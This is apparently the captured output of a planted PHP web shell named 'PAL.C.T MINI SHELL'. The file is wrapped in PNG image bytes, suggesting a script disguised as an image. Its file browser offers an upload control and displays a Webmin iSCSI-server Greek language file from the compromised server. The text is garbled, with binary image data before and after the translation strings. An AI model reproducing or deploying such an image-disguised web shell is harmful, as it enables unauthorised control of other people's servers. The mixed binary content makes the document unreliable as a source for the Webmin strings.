php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/iscsi-server/lang/
upload
files >> //usr/libexec/webmin/iscsi-server/lang/el.auto

check_etargets=Το αρχείο διαμόρφωσης διακομιστή iSCSI $1 δεν βρέθηκε στο σύστημά σας.
check_eserver=Το πρόγραμμα διακομιστή iSCSI $1 δεν βρέθηκε στο σύστημά σας.

index_title=iSCSI Server
index_clink=Ίσως να μην έχει εγκατασταθεί ή η διαμόρφωση της μονάδας σας <a href='$1'></a> είναι εσφαλμένη.
index_stop=Διακοπή διακομιστή iSCSI
index_stopdesc=Κάντε κλικ σε αυτό το κουμπί για να διακόψετε τον τρέχοντα διακομιστή iSCSI. Όλες οι κοινόχρηστες συσκευές δεν θα είναι πλέον προσβάσιμες σε πελάτες.
index_start=Ξεκινήστε το διακομιστή iSCSI
index_startdesc=Κάντε κλικ σε αυτό το κουμπί για να ξεκινήσει ο διακομιστής iSCSI, έτσι ώστε οι κοινόχρηστες συσκευές να είναι προσβάσιμες σε πελάτες.
index_restart=Κάντε επανεκκίνηση του διακομιστή iSCSI
index_restartdesc=Κάντε κλικ σε αυτό το κουμπί για να εφαρμόσετε την τρέχουσα ρύθμιση παραμέτρων, κάνοντας επανεκκίνηση του διακομιστή iSCSI.
index_atboot=Ξεκινήστε από την εκκίνηση;
index_atbootdesc=Αλλάξτε αυτήν την επιλογή για να ελέγξετε αν ο διακομιστής iSCSI ξεκινάει κατά την εκκίνηση ή όχι. Αν δεν ξεκινάει αυτή τη στιγμή κατά την εκκίνηση και επιλέγεται η επιλογή Ναι, θα δημιουργηθεί ένα νέο σενάριο init.
index_return=δείκτη μονάδας

extents_title=Συσκευές για κοινή χρήση
extents_none=Δεν έχουν δημιουργηθεί ακόμη συσκευές για κοινή χρήση.
extents_name=Ονομα της συσκευής
extents_file=Διαδρομή αρχείου ή συσκευής
extents_start=Έναρξη έκτασης
extents_size=Μέγεθος έκτασης
extents_add=Προσθέστε μια νέα συσκευή για κοινή χρήση.
extents_delete=Διαγραφή επιλεγμένων συσκευών
extents_return=λίστα συσκευών για κοινή χρήση
extents_derr=Αποτυχία κατάργησης συσκευών
extents_denone=Δεν έχει επιλεγεί
extents_einuse=Η συσκευή $1 δεν μπορεί να διαγραφεί, καθώς χρησιμοποιείται από : $2 
extents_drusure=Είστε βέβαιοι ότι θέλετε να καταργήσετε τις ακόλουθες συσκευές: $1 ; Το περιεχόμενό τους θα διατηρηθεί, αλλά δεν θα είναι πλέον προσβάσιμο σε πελάτες iSCSI.
extents_sure=Διαγραφή συσκευών

extent_create=Δημιουργία συσκευής για κοινή χρήση
extent_edit=Επεξεργασία συσκευής για κοινή χρήση
extent_egone=Η συσκευή για κοινή χρήση $1 δεν υπάρχει!
extent_header=Λεπτομέρειες για τη συσκευή για κοινή χρήση
extent_name=Ονομα της συσκευής
extent_device=Αρχείο ή συσκευή δίσκου για κοινή χρήση
extent_start=Έναρξη της έκτασης για να μοιραστείτε
extent_size=Μέγεθος της έκτασης προς κοινή χρήση
extent_size_def1=Πλήρες αρχείο ή συσκευή
extent_size_def0=Καθορισμένο μέγεθος
extent_part=Τοπικό διαμέρισμα δίσκου
extent_raid=Συσκευή RAID
extent_md=Συσκευή RAID $1 
extent_lvm=Λογική ένταση LVM
extent_lv=LVM VG $1, LV $2 
extent_other=Άλλο αρχείο ή συσκευή
extent_rusure=Είστε βέβαιοι ότι θέλετε να διαγράψετε την κοινόχρηστη συσκευή $1 ; Το περιεχόμενό του θα διατηρηθεί, αλλά δεν θα είναι πλέον προσβάσιμο σε πελάτες iSCSI.
extent_sure=Διαγραφή συσκευής
extent_err=Αποτυχία αποθήκευσης συσκευής για κοινή χρήση
extent_derr=Δεν ήταν δυνατή η διαγραφή της συσκευής για κοινή χρήση
extent_eother=Δεν υπάρχει αρχείο για κοινή χρήση
extent_estart=Η αρχή της έκτασης πρέπει να είναι ένας αριθμός
extent_esize=Το μέγεθος της έκτασης πρέπει να είναι ένας αριθμός
extent_esizemax=Το τέλος της έκτασης δεν μπορεί να είναι μεγαλύτερο από το μέγεθος της συσκευής $1 
extent_einuse=Αυτή η συσκευή δεν μπορεί να διαγραφεί, καθώς χρησιμοποιείται από : $1 

devices_title=Συνδυασμοί συσκευών
devices_none=Δεν έχουν δημιουργηθεί ακόμα συνδυασμοί συσκευών.
devices_name=Όνομα συνδυασμού
devices_mode=Τύπος συνδυασμού
devices_mode_raid0=Γραμμική (RAID0)
devices_mode_raid1=Αντιγραφεί (RAID1)
devices_extents=Μέλη συσκευών
devices_add=Προσθέστε έναν νέο συνδυασμό συσκευών.
devices_delete=Διαγραφή επιλεγμένων συνδυασμών
devices_return=λίστα συνδυασμών συσκευών
devices_derr=Απέτυχε η διαγραφή των συνδυασμών συσκευών
devices_denone=Δεν έχει επιλεγεί
devices_einuse=Ο συνδυασμός $1 δεν μπορεί να διαγραφεί, καθώς χρησιμοποιείται από : $2 
devices_drusure=Είστε βέβαιοι ότι θέλετε να καταργήσετε τους ακόλουθους συνδυασμούς συσκευών: $1 ; Το περιεχόμενό τους θα διατηρηθεί, αλλά δεν θα είναι πλέον προσβάσιμο σε πελάτες iSCSI.
devices_sure=Διαγραφή συνδυασμών συσκευών

device_create=Δημιουργία συνδυασμού συσκευών
device_edit=Επεξεργασία συνδυασμού συσκευών
device_egone=Ο συνδυασμός συσκευών $1 δεν υπάρχει!
device_header=Λεπτομέρειες σχετικά με το συνδυασμό συσκευών
device_name=Όνομα συνδυασμού συσκευής
device_mode=Τύπος συνδυασμού
device_extents=Μέλη συσκευών
device_poss=Όλες οι διαθέσιμες συσκευές
device_got=Μέλη συσκευών
device_err=Αποτυχία αποθήκευσης συνδυασμού συσκευών
device_derr=Αποτυχία κατάργησης συνδυασμού συσκευών
device_rusure=Είστε βέβαιοι ότι θέλετε να διαγράψετε το συνδυασμό συσκευών $1 ; Το περιεχόμενό του θα διατηρηθεί, αλλά δεν θα είναι πλέον προσβάσιμο σε πελάτες iSCSI.
device_sure=Διαγραφή συνδυασμού συσκευών
device_einuse=Αυτός ο συνδυασμός συσκευών δεν μπορεί να διαγραφεί, καθώς χρησιμοποιείται από : $1 
device_eextents=Δεν έχουν επιλεγεί συσκευές μελών
device_eself=Μια από τις επιλεγμένες συσκευές μελών περιέχει αυτή τη συσκευή!

targets_title=Κοινή χρήση στόχων
targets_none=Δεν έχουν δημιουργηθεί ακόμη στόχοι κοινής χρήσης.
targets_name=Όνομα στόχου
targets_flags=Λειτουργία κοινής χρησής
targets_flags_ro=Μόνο για ανάγνωση
targets_flags_rw=Διαβάζω γράφω
targets_export=Μοιρασιά
targets_network=Κοινή χρήση με το δίκτυο
targets_add=Προσθέστε έναν νέο στόχο κοινής χρήσης.
targets_delete=Διαγραφή επιλεγμένων στόχων
targets_return=λίστα στόχων κοινής χρήσης
targets_derr=Δεν ήταν δυνατή η διαγραφή στόχων κοινής χρήσης
targets_denone=Δεν έχει επιλεγεί
targets_drusure=Είστε βέβαιοι ότι θέλετε να καταργήσετε τους ακόλουθους στόχους κοινής χρήσης: $1 ; Δεν θα χαθούν δεδομένα, αλλά δεν θα είναι πλέον προσβάσιμα σε πελάτες iSCSI.
targets_sure=Διαγραφή στόχων κοινής χρήσης

target_create=Δημιουργία στόχων κοινής χρήσης
target_edit=Επεξεργασία στόχων κοινής χρήσης
target_egone=Ο στόχος κοινής χρήσης $1 δεν υπάρχει!
target_header=Λεπτομέρειες κοινής χρήσης στόχου
target_name=Κοινή χρήση του ονόματος στόχου
target_flags=Λειτουργία πρόσβασης
target_export=Συσκευή ή συνδυασμός
target_network=Κοινή χρήση με το δίκτυο
target_network_all=Όλα τα δίκτυα
target_network_net=Μόνο δίκτυο
target_err=Αποτυχία αποθήκευσης στόχου κοινής χρήσης
target_derr=Δεν ήταν δυνατή η διαγραφή στόχου κοινής χρήσης
target_rusure=Είστε βέβαιοι ότι θέλετε να διαγράψετε τον στόχο κοινής χρήσης $1 ; Δεν θα χαθούν δεδομένα, αλλά δεν θα είναι πλέον προσβάσιμα σε πελάτες iSCSI.
target_sure=Διαγραφή στόχου
target_enetwork=Λανθασμένο ή μη έγκυρο δίκτυο με το οποίο θα μοιραστείτε
target_emask=Απουσία ή μη έγκυρη μάσκα δικτύου για κοινή χρήση

opts_title=Επιλογές διακομιστή iSCSI
opts_header=Επιλογές για όλους τους στόχους iSCSI
opts_ip4=Αποδοχή συνδέσεων IPv4
opts_ip6=Αποδοχή συνδέσεων IPv6
opts_name=Όνομα ορατό στους πελάτες
opts_namedef=Προεπιλογή (όνομα κεντρικού υπολογιστή συστήματος)
opts_port=Ακούστε στη θύρα
opts_sess=Μέγιστες ταυτόχρονες συνεδρίες
opts_err=Αποτυχία αποθήκευσης επιλογών
opts_ename=Λείπει ή μη έγκυρο όνομα - επιτρέπονται μόνο γράμματα, αριθμοί, παύλα, τελεία και υποσημείωση
opts_eport=Λείπει ή μη αριθμητικός αριθμός θύρας
opts_esess=Λείπει ή μη αριθμητικές μέγιστες περιόδους σύνδεσης

manual_title=Επεξεργασία αρχείου ρυθμίσεων
manual_desc=Χρησιμοποιήστε το παρακάτω πλαίσιο κειμένου για να επεξεργαστείτε το αρχείο διαμόρφωσης του διακομιστή iSCSI $1. Προσέξτε, καθώς δεν θα πραγματοποιηθεί επικύρωση στις εισόδους σας!
manual_err=Αποτυχία αποθήκευσης αρχείου ρυθμίσεων
manual_edata=Δεν καταχωρήθηκε περιεχόμενο!

users_title=Έλεγχος ταυτότητας iSCSI
users_none=Δεν έχουν δημιουργηθεί ακόμη χρήστες iSCSI. Οι πελάτες θα έχουν πρόσβαση σε κοινές συσκευές χωρίς έλεγχο ταυτότητας.
users_add=Προσθέστε νέο χρήστη iSCSI.
users_delete=Διαγραφή επιλεγμένων χρηστών
users_name=Όνομα χρήστη
users_mode=Μέθοδος αυθεντικότητας
users_return=λίστα χρηστών

user_create=Δημιουργία χρήστη iSCSI
user_edit=Επεξεργασία χρήστη iSCSI
user_header=Λεπτομέρειες χρήστη iSCSI
user_user=Όνομα χρήστη πελάτη
user_mode=Μέθοδος αυθεντικότητας
user_pass=Κωδικός πρόσβασης πελάτη
user_egone=Ο χρήστης δεν υπάρχει πλέον!
user_err=Αποτυχία αποθήκευσης του χρήστη iSCSI
user_euser=Λείπει ή μη έγκυρο όνομα χρήστη - δεν επιτρέπονται κενά και κενά
user_epass=Έλλειψη ή μη έγκυρος κωδικός πρόσβασης - δεν επιτρέπονται κενά και κενά

desc_extent=Συσκευή για τη διανομή $1 
desc_device=Συνδυασμός συσκευών $1 
desc_target=Κοινή χρήση στόχου $1 

start_err=Αποτυχία εκκίνησης του διακομιστή iSCSI
stop_err=Αποτυχία διακοπής του διακομιστή iSCSI
restart_err=Αποτυχία επανεκκίνησης του διακομιστή iSCSI
atboot_err=Αποτυχία ενεργοποίησης κατά την εκκίνηση

log_create_extent=Δημιουργήθηκε συσκευή για κοινή χρήση $1 
log_modify_extent=Ενημερώθηκε η συσκευή για κοινή χρήση $1 
log_delete_extent=Διαγράφηκε συσκευή για κοινή χρήση $1 
log_create_device=Δημιουργήθηκε συνδυασμός συσκευών $1 
log_modify_device=Ενημερώθηκε ο συνδυασμός συσκευών $1 
log_delete_device=Διαγραφή συνδυασμού συσκευών $1 
log_create_target=Δημιουργήθηκε στόχος διαμοιρασμού $1 
log_modify_target=Ενημερώθηκε ο στόχος $1 για κοινή χρήση
log_delete_target=Έχει διαγραφεί ο στόχος $1 για κοινή χρήση
log_delete_extents=Διαγράφηκαν $1 συσκευές για κοινή χρήση
log_delete_devices=Διαγράφηκαν συνδυασμοί $1 συσκευών
log_delete_targets=Διαγράφηκαν στόχοι κοινής χρήσης $1 
log_start=Ξεκίνησε ο διακομιστής iSCSI
log_stop=Σταμάτησε διακομιστή iSCSI
log_restart=Επανεκκίνηση του διακομιστή iSCSI
log_atboot=Ενεργοποιήθηκε διακομιστής iSCSI κατά την εκκίνηση
log_delboot=Απενεργοποιημένος διακομιστής iSCSI κατά την εκκίνηση
log_manual=Χειροκίνητο αρχείο ρυθμίσεων
log_create_user=Δημιουργήθηκε χρήστης iSCSI $1 
log_modify_user=Ενημερώθηκε ο χρήστης iSCSI $1 
log_delete_user=Διαγράφηκε ο χρήστης iSCSI $1 
log_delete_users=Διαγράφηκαν χρήστες iSCSI
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`